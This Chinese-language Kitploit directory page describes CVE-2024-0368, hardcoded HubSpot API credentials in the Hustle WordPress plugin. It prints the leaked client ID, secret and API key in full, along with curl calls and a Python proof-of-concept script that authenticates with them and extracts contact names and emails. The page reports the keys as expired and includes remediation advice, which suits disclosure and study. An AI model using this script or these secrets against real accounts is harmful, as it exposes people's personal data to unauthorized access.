Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-0368 — Hustle Plugin <= 7.8.3 在 inc/providers/hubspot/hustle-hubspot-api.php 中硬编码了 HubSpot API 凭据。 | Kitploit
工具/GitHubGitHub/randomrobbiebf/cve-2024-0368
漏洞分析漏洞利用信息收集Web安全秘密检测学习与教育
GitHubrandomrobbiebf/cve-2024-0368

CVE-2024-0368

Hustle Plugin <= 7.8.3 在 inc/providers/hubspot/hustle-hubspot-api.php 中硬编码了 HubSpot API 凭据。

查看仓库
17个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-0368

Hustle 插件 <= 7.8.3 在 inc/providers/hubspot/hustle-hubspot-api.php 中包含硬编码的 HubSpot API 凭证

漏洞摘要

字段值
CVE IDCVE-2024-0368
标题Hustle <= 7.8.3 - 通过暴露的 HubSpot API 密钥泄露敏感信息
CVSS 分数8.6 (高危)
受影响插件Hustle - 电子邮件营销、潜在客户生成、弹窗、弹出窗口 (wordpress-popup)
受影响版本<= 7.8.3
已修补版本7.8.4
漏洞类型CWE-200: 敏感信息泄露

技术分析

漏洞代码位置

文件: inc/providers/hubspot/hustle-hubspot-api.php

root@kitploit:~
class Hustle_HubSpot_Api extends Opt_In_WPMUDEV_API {
    const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
    const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
    const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';
    const BASE_URL      = 'https://app.hubspot.com/';
    const API_URL       = 'https://api.hubapi.com/';
    const SCOPE         = 'oauth crm.objects.contacts.write crm.lists.read crm.objects.contacts.read crm.schemas.contacts.write crm.schemas.contacts.read crm.lists.write';

暴露的凭证

OAuth 作用域 (潜在访问)

硬编码的 OAuth 配置请求了以下 HubSpot 作用域:

  • oauth - OAuth 认证
  • crm.objects.contacts.write - 创建/修改联系人
  • crm.objects.contacts.read - 读取联系人信息 (PII)
  • crm.lists.read - 读取营销列表
  • crm.lists.write - 修改营销列表
  • crm.schemas.contacts.write - 修改联系人模式
  • crm.schemas.contacts.read - 读取联系人模式

漏洞说明

根本原因

WPMUDEV 直接在插件源代码中硬编码了其自身的 HubSpot OAuth 应用凭证。这违反了安全开发实践,原因如下:

  1. 公开暴露:WordPress 插件是开源的——代码公开存放在 wordpress.org 的 SVN 仓库中
  2. 大规模分发:Hustle 插件拥有超过 100,000 个活跃安装
  3. 共享凭证:所有插件安装共享同一套 API 凭证

攻击向量

攻击者可以:

  1. 从 wordpress.org 下载存在漏洞的插件
  2. 从 PHP 源码中提取硬编码的凭证
  3. 使用这些凭证向 HubSpot API 进行身份认证
  4. 访问 WPMUDEV 的 HubSpot 账户以及通过其集成处理的所有数据

潜在影响

拥有有效凭证的攻击者可能能够:

  • 读取 PII:访问联系人信息(姓名、邮箱、电话号码、地址)
  • 修改数据:在 HubSpot 中创建、更新或删除联系人
  • 访问营销列表:查看和操作营销列表
  • 数据窃取:从使用 Hustle + HubSpot 集成的网站提取订阅者数据

概念验证

步骤 1:定位漏洞文件

root@kitploit:~
# 从 WordPress 安装目录
cat wp-content/plugins/wordpress-popup/inc/providers/hubspot/hustle-hubspot-api.php | grep -A3 "const CLIENT"

输出:

root@kitploit:~
const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';

步骤 2:测试 API 密钥访问(联系人)

root@kitploit:~
curl -X GET "https://api.hubapi.com/crm/v3/objects/contacts?hapikey=db9600bf-648c-476c-be42-6621d7a1f96a&limit=10"

注意: 截至测试时,API 密钥已被轮换/过期(预期在披露后):

root@kitploit:~
{
  "status": "error",
  "message": "The API key used to make this call is expired.",
  "category": "EXPIRED_AUTHENTICATION"
}

步骤 3:测试 OAuth 流程

root@kitploit:~
curl -X POST "https://api.hubapi.com/oauth/v1/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=client_credentials&client_id=5253e533-2dd2-48fd-b102-b92b8f250d1b&client_secret=2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca"

响应: 凭证已失效。

利用脚本(Python)

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2024-0368 - HubSpot API 密钥暴露 PoC
Hustle 插件 <= 7.8.3

此脚本通过尝试使用暴露的凭证访问 HubSpot API 来演示漏洞。

仅限授权安全测试使用。
"""

import requests
import json

# 从存在漏洞的插件中硬编码的凭证
CREDENTIALS = {
    "client_id": "5253e533-2dd2-48fd-b102-b92b8f250d1b",
    "client_secret": "2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca",
    "hapikey": "db9600bf-648c-476c-be42-6621d7a1f96a"
}

HUBSPOT_API = "https://api.hubapi.com"

def test_api_key():
    """测试泄露的 API 密钥是否仍然有效"""
    print("[*] 测试 HubSpot API 密钥...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    params = {"hapikey": CREDENTIALS["hapikey"], "limit": 1}

    response = requests.get(url, params=params)
    data = response.json()

    if response.status_code == 200:
        print("[+] API 密钥有效 - 漏洞可利用!")
        print(f"[+] 获取的联系人数据:{json.dumps(data, indent=2)}")
        return True
    else:
        print(f"[-] API 密钥状态:{data.get('message', '未知错误')}")
        return False

def test_oauth():
    """测试 OAuth 客户端凭证"""
    print("[*] 测试 OAuth 凭证...")

    url = f"{HUBSPOT_API}/oauth/v1/token"
    data = {
        "grant_type": "client_credentials",
        "client_id": CREDENTIALS["client_id"],
        "client_secret": CREDENTIALS["client_secret"]
    }

    response = requests.post(url, data=data)
    result = response.json()

    if "access_token" in result:
        print("[+] OAuth 凭证有效 - 已获得访问令牌!")
        return result["access_token"]
    else:
        print(f"[-] OAuth 状态:{result.get('message', '无效凭证')}")
        return None

def extract_contacts(api_key=None, access_token=None):
    """如果凭证有效,提取联系人"""
    print("[*] 尝试提取联系人...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    headers = {}
    params = {"limit": 100}

    if access_token:
        headers["Authorization"] = f"Bearer {access_token}"
    elif api_key:
        params["hapikey"] = api_key

    response = requests.get(url, headers=headers, params=params)

    if response.status_code == 200:
        contacts = response.json()
        print(f"[+] 成功提取 {len(contacts.get('results', []))} 个联系人")
        for contact in contacts.get("results", [])[:5]:
            props = contact.get("properties", {})
            print(f"    - {props.get('email', 'N/A')} | {props.get('firstname', '')} {props.get('lastname', '')}")
        return contacts

    return None

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2024-0368 - Hustle 插件 HubSpot API 密钥暴露")
    print("=" * 60)
    print()

    # 测试泄露的凭证
    api_valid = test_api_key()
    access_token = test_oauth()

    print()
    if api_valid or access_token:
        print("[!] 漏洞已确认 - 凭证仍然有效!")
        extract_contacts(
            api_key=CREDENTIALS["hapikey"] if api_valid else None,
            access_token=access_token
        )
    else:
        print("[*] 凭证已被轮换(预期在披露后)")
        print("[*] 代码中存在漏洞 - 凭证已被暴露")

    print()
    print("=" * 60)

验证结果

环境:

  • WordPress:运行在 Docker 上
  • 插件版本:7.8.2(存在漏洞)
  • 漏洞文件:确认存在且包含硬编码凭证

凭证状态:

  • API 密钥 (HAPIKEY):已过期/轮换(披露后)
  • OAuth 凭证:已失效(披露后)

结论: 漏洞已确认——硬编码凭证存在于源代码中,且之前可利用。WPMUDEV 已在负责任的披露后轮换了凭证。

修复措施

供应商修复 (v7.8.4+)

该补丁移除了硬编码凭证并实施了正确的凭证存储:

  • 凭证移至数据库/环境配置
  • 用户现在必须配置自己的 HubSpot API 凭证
  • 安装之间不再共享凭证

用户建议

  1. 立即更新:升级到 Hustle 7.8.4 或更高版本
  2. 重新配置 HubSpot:使用自己的凭证设置 HubSpot 集成
  3. 审核访问日志:在易受攻击期间检查 HubSpot 中是否有未经授权的 API 访问

时间线

日期事件
2024-01-05CVE-2024-0368 发布
2024-03-08版本 7.8.4 发布补丁
披露后WPMUDEV 轮换凭证

参考资料

  • Wordfence 公告
  • WordPress 插件变更集
  • HubSpot API 文档
  • NVD 条目

为授权的安全研究目的而生成

下载工具
凭证值用途
CLIENT_ID5253e533-2dd2-48fd-b102-b92b8f250d1bOAuth2 应用标识符
CLIENT_SECRET2ed54e79-6ceb-4fc6-96d9-58b4f98e6bcaOAuth2 客户端密钥
HAPIKEYdb9600bf-648c-476c-be42-6621d7a1f96aHubSpot 旧版 API 密钥